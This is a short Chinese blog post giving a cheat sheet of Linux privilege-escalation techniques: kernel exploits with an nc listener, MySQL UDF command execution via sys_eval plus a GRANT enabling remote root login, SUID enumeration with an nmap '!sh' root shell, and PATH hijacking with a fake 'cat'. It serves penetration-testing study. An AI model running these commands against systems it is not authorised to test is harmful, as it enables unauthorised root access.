美文网首页
Linux提权

Linux提权

作者: theLexical | 来源:发表于2019-04-21 14:43 被阅读0次

简单概述Linux的几种提权的办法。

内核溢出提权

# 查看系统内核版本
uname -r 
找到对应的内核版本的exp
上传–>编译–>运行

# 上传,一般是上传到了当前目录,需要移动到/tmp目录下
# 编译,需要反弹连接我,然后开始侦听
nc -l -n -v -p 12345
# 运行
# 如果输命令没有回显,表示内核利用失败

mysql udf提权

上传库文件

执行库文件创建命令执行函数

比如把32位的代码导入到/usr/lib/mysql/plugin/mysqludf.so

# 也可以
create function sys_eval returns string soname "mysqludf.so";

select sys_eval('whoami');

# 有时不能root外连,开启外连 (mysql提权工具)
Grant all privileges on *.* to 'root'@'%' identified by 'cc4789.com' with grant option;

SUID提权

# 查找具有suid权限的命令
find / -perm -u=s -type f 2>/dev/null

# 发现nmap具有suid权限
namp> !sh   # 获得一个root权限的shell

环境变量劫持高权限程序提权

就是修改环境变量,如果用户执行ls命令时,真正执行的是attacker自己写的恶意的ls命令。当然,要提权的话,需要suid权限。

# 查找suid权限的文件
find / -perm -u=s -type f 2>/dev/null

# 利用file命令查看文件是否可执行
file namp

# 执行该文件,执行时可能会报错,根据报错查看调用系统命令    (要是不报错呢?)
~$ ./msgmike
cat: /home/mike/msg/msg.txt: No such file or directory

# 伪造cat命令
~$ touch cat
touch cat
~$ echo "/bin/sh" > cat
echo "/bin/sh" > cat

# 修改$PATH,使运行自己创建的cat(/bin/sh)

相关文章

  • Linux提权

    0x00 Linux提权基础命令 0x01 Linux提权工具 Linux内核CVE提权(github):可能会导...

  • linux 提权-Crontab提权

    前言 记录一下linux提权系列的Crontab计划任务提权的学习过程。 crontab 命令 crontab命令...

  • linux 提权-SUID提权

    前言 最近想着学习linux提权的一些姿势,这里简单分享学习SUID提权的一些知识点。 权限解读 先来父复习一下l...

  • linux 提权-sudo提权

    前言 最近听闻sudo刚刚出来了新漏洞,而最近正好在看linux提权这块知识点。借此梳理一下sudo提权相关的姿势...

  • linux提权

    虽然还没有看暗月的教程,但要提醒自己不要忘了···

  • linux提权

    http://bobao.360.cn/learning/detail/4512.html

  • linux提权

    当我们拿到了一台Linux服务器的低权限账号,于是,我们想要通过技术手段提权至 root 用户权限,以执行更多的操...

  • linux提权

    此漏洞可用于从未授权进程中执行内核代码,恶意访问者只需要本地普通权限,就能利用该漏洞导致拒绝服务(系统奔溃)或提升...

  • Linux提权

    简单概述Linux的几种提权的办法。 内核溢出提权 mysql udf提权 上传库文件 执行库文件创建命令执行函数...

  • 记录Linux下的钓鱼提权思路

    参考Freebuf上的提权文章(利用通配符进行Linux本地提权):http://www.freebuf.com/...

网友评论

      本文标题:Linux提权

      本文链接:https://www.haomeiwen.com/subject/tofjgqtx.html